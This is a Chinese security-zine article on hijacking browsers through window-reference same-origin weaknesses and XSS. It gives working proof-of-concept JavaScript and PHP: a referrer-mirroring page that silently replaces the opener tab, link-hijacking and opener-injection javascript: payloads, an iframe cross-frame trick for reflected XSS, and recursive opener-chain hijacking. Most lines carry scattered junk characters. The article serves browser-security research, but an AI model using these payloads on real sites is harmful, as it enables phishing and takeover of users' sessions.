==Ph4nt0m Security Team==+ j5 N& l9 [. h+ J; V" V( k
4 {5 r+ Q& i" [; d7 k' q) X9 Q
Issue 0x03, Phile #0x05 of 0x07
/ z# O3 y6 N) _6 n* j " s' t- J( H* c, O7 b
$ k+ `: K- E! K! {5 I4 r
|=---------------------------------------------------------------------------=|( A% [0 F5 v) u# J
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
6 u$ o% p; k" n# c$ \|=---------------------------------------------------------------------------=|- f; m6 }& x& u/ X& B- o
|=---------------------------------------------------------------------------=|8 X( [# T- x. p! H& c
|=------------------------=[ By rayh4c ]=---------------------------=|
m3 t# S( p, c' L0 A|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|
2 i8 B6 f3 D6 ]/ ~1 b" r|=---------------------------------------------------------------------------=|' t' D g2 W, D* u
2 ~9 H6 R# X9 b3 a; t
9 [/ g* ?% \ z# t- a' ]6 i
[目录]
3 |& x' [- k3 z
# T+ u, |3 a6 r: N8 J4 b, m1. 前言( c" \% ^0 S+ Z! N4 G3 s' t
2. 同源策略简叙
- k+ \' |1 Y f3. 理解window对象的同源策略& I T5 n$ b2 M7 X4 n9 [; C! ^
4. 窗口引用功能中的同源策略漏洞
- b0 f( ?6 f. t! o 4.1 父窗口引用子窗口的同源策略问题
6 J8 ?2 t y0 x6 \ 4.2 子窗口引用父窗口的同源策略问题
q) R+ H& k" M& @7 ]: H: H1 b5. 利用窗口引用漏洞劫持浏览器
' _9 S D' e( g5 S& ^* V5 U! O6. 利用XSS漏洞劫持浏览器
( H: T2 A6 Z6 t- r 6.1 正向跨窗口劫持( ~1 R. Q4 e7 _9 g
6.2 反向跨窗口劫持* k( [0 @: ~0 ]8 s$ m' F3 c( y
6.3 极度危险的跨框架窗口引用劫持/ z( w8 b/ z ~5 B" F0 g* s) C: k
6.4 极度危险的正反向跨窗口递归劫持
7 d& c3 _9 ]7 r( V/ \ 6.5 完全控制浏览器
. k8 u/ h6 X) C* f! q; f7. 后记2 a1 y: x0 q; s& w" E6 a- e% Y
8. 参考
! e3 I' @0 }" u# o( C( N$ t: w, V- O4 m
1 G9 `% {8 {: B c( P
一、前言
9 V& J, h! _8 t
* t+ n5 \; M( K k 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋& u7 Q7 M6 X8 Q$ r
友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
9 D* u# m/ `* @4 b3 i( s劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被; G% {4 Q" E5 _0 {+ S3 {8 v
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。: a2 m, x! T# W' o+ `( ^, a
' m% J/ o0 W% @( F, l
& Y" B8 N. f6 s* u2 c8 a( K
二、同源策略简叙
, r6 v' S) P" D1 m& S9 L8 H
9 F6 l, h* `; H3 E. g 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以 D$ v* w8 L- y, ]
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
# v3 i7 v5 O9 L* b$ r曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
! @! p% w6 d4 v7 o马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个' y; T) z- A `5 H+ U
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。
( _( N3 Z5 p+ ^8 h5 v
0 K! a0 b% o" T: I t9 [. N6 K' x; F+ N
三、理解window对象的同源策略8 @- ?, H% j* C4 \, c
' F, p. o0 k+ R \- v 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
* ?( p% a2 ]+ F5 l, |" r象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:
) ^8 j+ A3 b8 |8 }, p- f `" i# s$ ~) T {4 v. s$ v* Y9 U
--code-------------------------------------------------------------------------3 Q3 o/ V t- A! W
<script language="javascript">
. d }( v0 U, m( A: \9 ufor(p in window) document.write(p+"<br>");
# b: b% { u5 j. e, b( H% A</script>
1 a& t. j h5 M2 u# f7 J2 o: q6 e0 f-------------------------------------------------------------------------------, f/ \% K! o: o# t0 n
) _. D& t7 U+ Z 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
( \- o/ F5 E' T+ A# r$ D7 J" n9 k法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
. u: T- T( ^% R这些属性和方法就必须遵循同源策略。- ~0 V$ A% ^1 |8 U' {5 v+ z' W2 \1 Z
7 u4 a- g0 i4 U# s. c 举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那* c1 M* K. ?2 m( O9 ]
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
@6 X$ n0 W+ K, D3 P# B的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这
! D/ s$ r' s: o9 `3 D7 a7 U8 P# Q个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的
: x- Z! ]- f7 x. q- G5 a$ y& h7 _3 E值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
4 t0 I5 X/ J& {属性并没有被拒绝访问。: u& J) {5 |7 v
7 F, S8 n _) h. r--demo.html--------------------------------------------------------------------
0 t. i1 J: ]+ y& r<script language="javascript"> / b n$ {1 y; }% J F
function allPrpos(obj) {
6 ` K8 x! q, I% a var props = "<table><tr><td>名称</td><td>值</td>"; { [* U. e' D# S: n( o4 ~. w
for(var p in obj){ ( ~- t4 R1 t1 B9 f4 o! _, p8 j
if(typeof(obj[p])=="function"){
; {. G! R2 X8 A9 d obj[p]();
% h6 P; T8 P: E! l }else{
1 Q3 a6 i, e$ e/ j" ? try
# J5 g4 o) ?+ T; \0 M( h {
6 F: `) Q" l! @ props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; 6 ^% \1 X3 G( y# _; P' S
}
; r+ p! l" |! v& x Z, w1 o catch (ex)
! I# l) D$ t6 n1 _& s# O. P {
3 v4 @- @8 B( v& P6 v
( i7 ]( ?0 h+ X props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 3 L( A5 _1 V2 p; Q* ]. p+ K
}
, Z. ^& z6 I, Z4 {; f5 q3 E7 j9 a
k1 {4 H$ }/ i3 w } ( K2 Q( w- p; i+ ?; I& _
} # \0 ?! j! h! u
& D+ w" m2 M& h. l5 z) D
document.write(props+"</table>");
) |: S0 Z+ |& r# y/ S" K/ a} ; }) h5 ~) e Z2 j* H
0 g1 Y5 z" |& u1 c7 H. _
function createWin() {& [+ ? D6 M m" M. \0 F
newWin = window.open ("http://www.google.com");
% @7 S% R/ x4 n7 Q3 u setTimeout(function(){allPrpos(newWin)},2000);
' T8 l2 s, v. ~- X/ a4 p* v/ K}
; o# f7 v1 `" p) q) i/ F$ @9 Y/ Y; P1 `! X
</script> / \3 o: o, a O
; b2 P+ y9 }* f |& U5 U<button onclick='createWin()'>创建一个非同源子窗口测试</button>
/ J Z3 W& \ p# E2 H3 v-------------------------------------------------------------------------------6 [- \* P8 X8 p* L7 F
! l+ {& I3 C [* j
0 s b1 w/ [; W! B/ R四、窗口引用功能中的同源策略漏洞
8 R2 S) \$ f6 B) C3 a* }; y# P3 w
5 {* z# j4 e ^6 L0 w0 m4 _4.1 父窗口引用子窗口的同源策略问题
/ t5 \2 {3 G4 F- @, `8 _/ m6 T6 r. x$ q3 Z
去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
# z* q# R: Q$ x, I$ n' p: C但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道: {, B# L+ h5 A- k$ v
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
1 S4 }5 d0 \. i2 }1 _行测试,会发现父窗口可以控制非同源子窗口location属性值。& F7 F2 v4 ^- g/ s1 o
8 x8 A. I" G/ ~
--vul1.html--------------------------------------------------------------------9 E6 M" Q( y/ h. g0 \
<script language="javascript">
6 J5 `2 x5 a* g% gfunction createWin() { % ]+ k. S O7 I* G+ `" J/ R0 n
newWin = window.open ("http://www.google.com");
9 M' \( s" ~/ r+ y setTimeout(function(){newWin.location="http://www.80sec.com"},2000); ( q' b+ r P" m9 p0 b2 H/ D/ [
} n9 q# @. y+ l! c$ S9 B
</script>
' R. Z. i, H/ v: P' z3 D& p0 Q9 Q) P6 u9 _
<button onclick='createWin()'>创建一个非同源子窗口测试</button>
% `! x5 s' w% A/ @& F: U3 D-------------------------------------------------------------------------------0 E/ O' ^+ Q. Q. ~& }
! q: A* d6 I8 m0 b* T
) B( h* m( t* Q2 a$ h; F9 |. Z$ u1 x5 H4.2 子窗口引用父窗口的同源策略问题
" y) A5 W1 [" {9 `- `$ ?" P6 j, P1 N$ E9 Y% m1 r" A1 t
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使7 V+ T7 Y8 j5 ?. ?/ L
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
' A. P1 l( W+ `' ~可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定1 ~1 X" J7 V ~# v6 h
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。
! s/ ^8 t$ r- Q9 g0 w
' z" U6 ]% ?4 Q--code-------------------------------------------------------------------------: s; ], z! r' w' ~! q# C7 A1 T4 J
/ `1 u1 X7 m" @+ D# [* S
javascript:window.opener.location = "http://www.80sec.com";void(0);6 U- G& P! A" }# n
# b0 F. e% ]3 M2 `6 K2 T( ^, O$ O-------------------------------------------------------------------------------0 @( o0 N& l; o8 m, K7 D8 f& @
, Z8 _) W: ?/ T# P
7 E: e" ?" u1 l6 T) l' t五、利用窗口引用漏洞劫持浏览器
: M8 j9 b. s& U7 w+ h: p, h
m" {6 {, P; K& d/ c 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子9 U) @& h; a- U) }4 r6 q
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那% E3 _& R. l2 r3 M- x
么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
) w: ?$ E3 |% S$ S$ ^
8 v& C4 z8 J: C" z8 c. x 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产 r1 Y: }" M6 F" m' I
生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或" _0 ^8 Y: @6 G0 T) m
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接% Y. a9 }' g* J; ^' n. q
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下% L3 `4 P- O" a7 o+ y% |" f8 _7 D
会产生什么可怕的后果。+ N; ^: t1 q, z3 N: t
9 x" `7 s M' x4 Q
下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
0 w9 W9 u. m' F8 w& l% i. m们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php, ~$ Y8 ?( W L; M/ ?
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
, ]" H9 n1 O" Y$ {: H' B. I1 x候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
2 T+ O' V; j, `. b8 W以做更多的事情,所有的一切仅仅是因为点击了一个链接。/ _, q, K: w# S, _" ]: C$ o5 G
7 ?" g2 x! }0 _1 a
--hjk_ref.php------------------------------------------------------------------3 x" J) t) c6 N' ?
<?php4 E& V9 C* ^' N7 F1 e) ^/ q
if (array_key_exists("HTTP_REFERER", $_SERVER)) {5 ^; t* t! g9 `8 K/ i% n
$Url_Mirror = $_SERVER["HTTP_REFERER"];* M% r( B, W7 H% ?' L: j. s
} " P$ u7 e4 Y3 `6 B# J. Y& Y; K
if(isset ($_GET['ref'])) {
$ e& G# a; Y/ G4 ?- cecho file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';
4 ~1 [: g4 @" E# K2 g}
5 s7 I, h7 ?" P! {* q?>
5 y2 x8 L9 e& }2 A8 _8 m9 h
* u4 B6 A. [' Q9 k<script language="javascript"> L: G$ U' M0 {2 k- m
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000);
# q$ C% J5 t$ M- @0 m</script>1 P9 V+ Q3 u0 F, z# |. ^- A
-------------------------------------------------------------------------------
( u5 [; @/ I1 ], _+ i. K) ]
+ o9 R6 T2 k% w* d' ]: \4 [/ R 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
7 D5 K7 A' A4 F0 k
. s' }" a# S! U* i0 V, M* J9 R- A& Z6 L- y( q% ^4 g
六、利用XSS漏洞劫持浏览器
0 H! p" a* ?4 V% g g" R0 c, _
; H8 M4 ?! ^" g3 ^) E- i6 S* z 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为4 Y# ~) z0 G( B( d" w
持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后- x# h; ~' Q, H: R
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起' |% i9 o, P$ y2 |& m* Z# F
讨论跨站师的终极技巧:! o% X5 b3 G E! d* V" C
( V5 J( t3 B/ D! E+ v7 q
% b3 a# m" R9 o" a8 R( K6.1 正向跨窗口劫持
0 d! @) E! V3 _. g* v5 W% l! h4 p" x A9 |1 ~
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
) f% B& C* Q& l主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链
: t9 C# b2 j( {, s& H接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
) o) g4 u/ H% n. i) F5 p0 Z框脚本。 ' G k/ }% c- E. ]2 W/ x$ L$ a
% z; F/ x* P* E, ?: p4 ]) p--hijack_open.js---------------------------------------------------------------
# q; H3 F0 g' Y" E& y1 Y0 l/ H3 [9 [& x. e
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
3 s' l) R: ]0 \) f8 z5 i
8 G$ Y/ L$ r2 `, ~-------------------------------------------------------------------------------
3 {/ L9 w/ I8 P: M& B' P9 r5 L# d8 \2 @ B& h5 ^
+ g$ j0 }- j8 ?& a ~
6.2 反向跨窗口劫持
- A* n6 H+ \7 U) U" T
8 X0 J. {; J6 S4 i: ` q7 } ~- Z" A 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
& f j0 e7 x1 w) B* q8 [7 E+ T码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
" X' {# ?2 d6 ~" k框脚本。! V6 g! ]' ~9 [- v
9 d) ~4 ]$ b" J8 M4 P. {: U; E
--hijack_opener.js-------------------------------------------------------------, T. e3 M8 z, k5 Q
' t3 B3 n7 s+ |+ ~, w' [8 Kjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);. K; |: o/ S! p# b. x, i
5 X0 C. |- H4 P8 S% [$ K5 E-------------------------------------------------------------------------------
( Q% J! ]! R/ `9 Y+ |
8 n" H* F( E/ z8 [" c/ x, _
1 j* J; ~+ `) j' y O: [: W& H6.3 极度危险的跨框架窗口引用劫持
% Q( x6 P3 p" t4 \' z' |! i v! I! `; i/ U7 [% U* N) N% I+ z
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞% f+ Y! D" T7 }* k3 H- f. Y- n/ w3 Y9 J
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就. k* f; ~# O7 @4 O$ F5 F
适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个
* J5 B& G: w9 B( B' ^) h) h非持久型的XSS,如下:7 L6 A2 ~9 }, x2 ?$ Z5 C1 U
7 F* B5 G0 E) J/ ]# m( E<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
( V/ h& @( _6 q. b, x0 Y
G$ C# U6 Q. Q% n. X 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口/ L9 I/ Y$ C& L* m& T$ B* k$ c
注入脚本。
* i/ C1 _, X4 u9 p3 e. O3 }- }9 \% q, P( o
--hijack_frame_opener.js-------------------------------------------------------
& V3 _- ]6 {- ^/ E0 E<script>
' P( D9 f+ C, uwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";8 L* r- r- @9 G D4 K. G! d
</script>
$ C' [+ \) f9 g( Q" _$ P-------------------------------------------------------------------------------
" V' G6 @5 `% V) D C; J2 S
% P; ~- H9 Q; U4 f& W' I
, L% T! e6 t A" E$ Q* Z6.4 极度危险的正反向跨窗口递归劫持
! I4 L( w' j1 g7 x5 M8 h6 I3 ^6 @0 X- Z+ B( U7 R
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
$ w5 V. [6 I! U( N+ ~& R的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过7 d# D& c7 a3 N# Q# l* H
异常处理规避之间跨域页面的访问异常,代码如下:
7 x8 x2 h* Q8 Q+ N9 Z* v9 _; F' d7 }+ [
--code-------------------------------------------------------------------------
% m; @3 [2 S8 B) [, `* ~, K+ r& u: A/ n7 L) `
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
: T! l% e* z0 d8 [! X! Y5 u7 D" C1 u. L7 p9 K
-------------------------------------------------------------------------------
: h0 Z4 h% s+ _7 p1 R# z) a, K$ B/ G. _2 Z. q* H' e
假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可+ c: `+ Q) O8 ]6 B
以劫持B域之前的A域页面,从而实现“隔空打击”。
& y/ K( ?7 U7 u% q7 B# s$ k5 C- w0 ~. Y
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面* q6 `2 P0 u1 x
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。6 m" v3 O" Q1 M5 }3 m& ]* _/ H9 R
. w: B: M! B3 |# `: e
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。3 b0 c8 ~ Q( ~% W% Z4 e8 L
" c }7 T. \% w h% O
# v$ t& m4 d9 \+ d7 @5 R6.5 完全控制浏览器" W- ?6 J) B# h, z8 y7 j9 U! A' d5 F
! b8 V: t# G4 x! W- {& V
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
3 F: l+ J% b, B是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS, ?, F( p% B* p
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
9 {. |" [' F4 W而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再7 f) v+ B" s* J$ n: |
列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站4 }, v N3 P( l& ^
师的终极目标 - 完全控制浏览器。" }) [5 f% x: x6 W
( H4 z/ A6 D/ r* n% }) C0 z
1 u# p9 I2 ]5 K; I七、后记
8 \) q7 i- Q/ M! r
7 o+ P8 C$ }9 u 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
9 i! c4 ]) g/ u u1 D与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
- a6 F* C o, ^7 N过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。
7 E1 v4 X, k% ~3 t* b4 v" n% D; R1 ^( P
9 ?- Q# r9 {" l: r4 I. j八、参考
: i) j& G5 P2 {7 | y( U. `
$ I% ~. @* g. Q- Y1. http://en.wikipedia.org/wiki/Same_origin_policy
: V7 d) ^ T1 o I, O1 p7 ~2. http://code.google.com/p/browser ... licy_for_DOM_access
0 b3 G2 k( G' d G2 m6 ]6 x3. http://www.w3.org/TR/Window/5 M; v* x9 u9 y4 O# P
4. http://www.80sec.com/release/browser-hijacking.txt
7 [' I5 m8 `2 ]' [( H5. http://www.80sec.com/all-browser-security-alert.html. \! F# G" S0 I) Z7 F1 C: T( Q; M
6. http://www.80sec.com/ms08-058-attacks-google.html6 x# B6 ?; t Z
- k/ {+ g1 I, r: e1 B9 E-EOF- |